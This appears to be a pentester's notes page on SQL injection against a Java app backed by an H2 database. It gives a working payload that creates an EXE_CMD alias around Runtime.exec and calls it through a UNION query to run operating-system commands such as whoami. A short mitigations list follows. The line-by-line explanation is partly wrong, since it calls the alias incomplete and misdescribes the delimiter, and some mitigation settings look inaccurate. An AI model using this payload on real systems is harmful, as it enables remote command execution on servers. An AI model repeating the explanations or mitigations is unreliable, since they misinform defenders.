Pentest Notes¶
[!bug] SQLi
- app is written in Java
- app uses H2 database
- API
**/api/note**vulnerable
[!hint] Payloads -
SQL Injection'; CREATE ALIAS EXE_CMD AS 'String exec(String cmd) throws Exception { Process p = Runtime.getRuntime().exec(cmd); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";}' --and
' union select 1,2,EXE_CMD('whoami') --
- Java-based SQL injection payload targeting H2 Database Engine or another Java-embedded database that supports custom Java function creation
payload is designed to allow multiple SQL injection queries that add lines of code to the EXE_CMD procedure
';- This starts the new query by appending a semicolon, which tells the database to execute this new command.CREATE ALIAS EXE_CMD AS- This syntax creates an alias for a new stored procedure named EXE_CMD. An alias is another name that can be used instead of a long procedure name.String exec(String cmd) throws Exception { ... }- The payload defines the code for this new stored procedure (EXE_CMD). However, it doesn't define the entire code; it's incomplete and will continue to gather more lines through future SQL injection queries.Process p = Runtime.getRuntime().exec(cmd);- Here's where things start to get interesting. This line of code defines a method named exec that takes one parameter (cmd), which is a command to execute on the database server or any other system connected to it.java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");- The result of the previous execution is stored in a Scanner object, and the delimiter is set to "\A", which means that everything after this point will be returned as a single string.return s.hasNext() ? s.next() : "";- Finally, if there's data available from the previous execution, return it; otherwise, return an empty string.
String exec(String cmd) throws Exception {
Process p = Runtime.getRuntime().exec(cmd);
java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
Mitigations¶
- Never use H2 in
MODE=MySQLor withALLOW_LITERALS=ALLin production. - Disable ALIAS creation:
SET ALLOW_CREATE_ALIAS FALSE - Disable class execution:
-Dh2.implicitRelativePath=false - Parameterized queries and strict privilege separation